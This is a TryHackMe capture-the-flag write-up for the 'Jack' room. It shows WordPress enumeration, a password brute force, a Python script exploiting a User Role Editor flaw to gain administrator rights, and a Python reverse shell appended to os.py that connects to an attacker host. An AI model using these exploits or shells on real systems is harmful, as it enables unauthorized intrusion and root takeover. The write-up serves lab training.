Jack (THM)

TryHackMe Jack Write-Up

topics: web application security, wordpress, Linux Privilege Escalation,

  1. Plan

  2. Enumeration

  3. Local Privilege Escalation

  4. Root Privilege Escalation

new tools:

tools: nmapAutomator, dirsearch, wpscan, searchsploit, python, find, firefox browser

Plan

Room description "Compromise a web server running Wordpress, obtain a low privileged user and escalate your privileges to root using a Python module."

Enumeration

Export the IP address to $ip and add the IP as jack.thm to /etc/hosts

initial nmap scan ./nmapAutomator.sh $ip Basic

We have two ports open 22 (ssh) and 80 (http). We know that we will have to exploit the wordpress webserver (version 5.3.2) and more than likely ssh into the machine with creds we find. Lets navigate to the homepage and dirsearch the website.

python3 dirsearch.py -u $ip -e php,html,txt

We have numerous subdirectories open and received a 200 success code, having read access to a few, license .txt, readme.html, robots.txt, wp-config.php, wp-content, wp-admin, wp-includes, wp-login.php. There is sometimes critical information in configuration files, content files, themes and ambiguous includes directories, we can note these for inspection after further enumeration.

Since we know this is a wordpress website and we have the version number, we can use wpscan to enumerate and searchsploit the version number

Wordpress

wpscan --url jack.thm -e u,p,t enumeration scan returns repetitive information but also some potentially useful information

Dirsearch returned that we did not have access to this subdirectory. Further inspecting reveals that we received a 405 status code. This code means the request method used is not supported for the requested resource, another way of saying we performed a GET request on a URL that accepts a POST request. This could be a location to upload files, login, or brute force accounts.

The scan also returned that there were no plugins found. This is not in our best interest as a quick searchsploit or search engine query informs us that many wordpress vulnerabilities are achieved with plugins as the attack vector. Lets attempt a simple brute force, storing the usernames in a text file and using rockyou as the password file.

wpscan --url jack.thm -U user.txt -P rockyou.txt

Navigating to the login page

As we know this webserver is developed in PHP, the quickest way to gain access would be to upload a reverse shell, commonly done in themes, templates, plugins or other means of interacting with source code while logged in as a user.

Lets use searchsploit one more time to search for more broader terms than the version, and perhaps privilege escalation techniques

Local Privilege Escalation

Our wpscan returned that there were no plugins found, yet we know from our dirsearch command that there exists a /plugins subdirectory, we can conclude that it is only accessible to administrators. We'll have to find a way to elevate our account to administrator.

searchsploit privilege escalation

Standard Wordpress websites contain a User Role Editor, we'll just have to assume for now its a version below 4.25. This means that if we edit the POST request body to include &ure_other_roles=administrator and resend the data, it should enable us to edit hidden plugins and potentially gain initial access with a reverse shell.

You can also write a small python script instead of the developer tools.

#!/usr/bin/env python
import sys, requests

url = "http://jack.thm/wp-login.php"
creds = {'log' : 'wendy', 'pwd' : 'changelater', 'testcookie' : '1'}

r = requests.post(url, data=creds)

cookies = r.headers['Set-Cookie'].split('wp-admin')[1].split('=')[1].split(';')[0].strip()

url1 = "http://jack.thm/wp-admin/profile.php"
data = {"_wpnonce":"033b0aea07",
		 "_wp_http_referer":"/wp-admin/profile.php",
		 "from":"profile",
		 "checkuser_id":"2",
		 "color-nonce":"bc074329d7",
		 "admin_color":"fresh",
		 "admin_bar_front":"1",
		 "first_name":"",
		 "last_name":"", 
		 "nickname":"wendy",
		 "display_name":"wendy",
		 "email":"wendy@tryhackme.com",
		 "url":"",
		 "description":"",
		 "pass1":"",
		 "pass2":"",
		 "action":"update",
		 "user_id":"2",
		 "ure_other_roles":"administrator",
		 "submit":"Update+Profile",
}

req = requests.post(url1, data=data, cookies={"wordpress_07f87507b491ce41808428c8c499655c":cookies})
print(req.status_code)

We can edit an inactive plugin to execute a reverse shell. Add PHP code to execute a standard nc shell with the attacker's IP, listen on the port and activate the plugin.

Root Privilege Escalation

Following reading the user flag, I noticed an additional text file in /home/jack

It says to read the memo on Linux file permissions and their backups almost got them hacked. This could be a clue that hints to us file permissions are in play. Lets check for a backup directory and run a privesc enumeration script if we are still empty handed.

find / -type d -name backup* -ls 2>/dev/null returns the location of /var/backups

From /etc/passwd jack is the only non-system generated user, perhaps we can use that username for a more stable shell.

The room gave us the hint that we are to obtain root privileges via a python module. Python modules are just python code used to simplify other code, perhaps we can edit the module to send a reverse shell to our machine. Using python --version, we see the version is 2.7.12. Now we have to determine which module is vulnerable and owned by root.

Lets visit the location that houses python libraries, /usr/bin/python2.7

This is unconventional, usually the root group is the owner of these files. Lets check to see if the user jack is apart of the family group

groups

We are apart of the group family which means that we can potentially edit any one of these python modules. It would be safe to assume that adding reverse shell code to one of the most popular modules would cause an application to use the module and send us a shell. In python, the os and sys modules are usually used in the most common programs.

Lets add the following code to the end of os.py and listen for a shell. If this is unsuccessful, we will have to search different locations for python files to see if an uncommon module is applicable.

import socket
import pty
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("attackIP",5555))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
pty.spawn("/bin/bash")

Last updated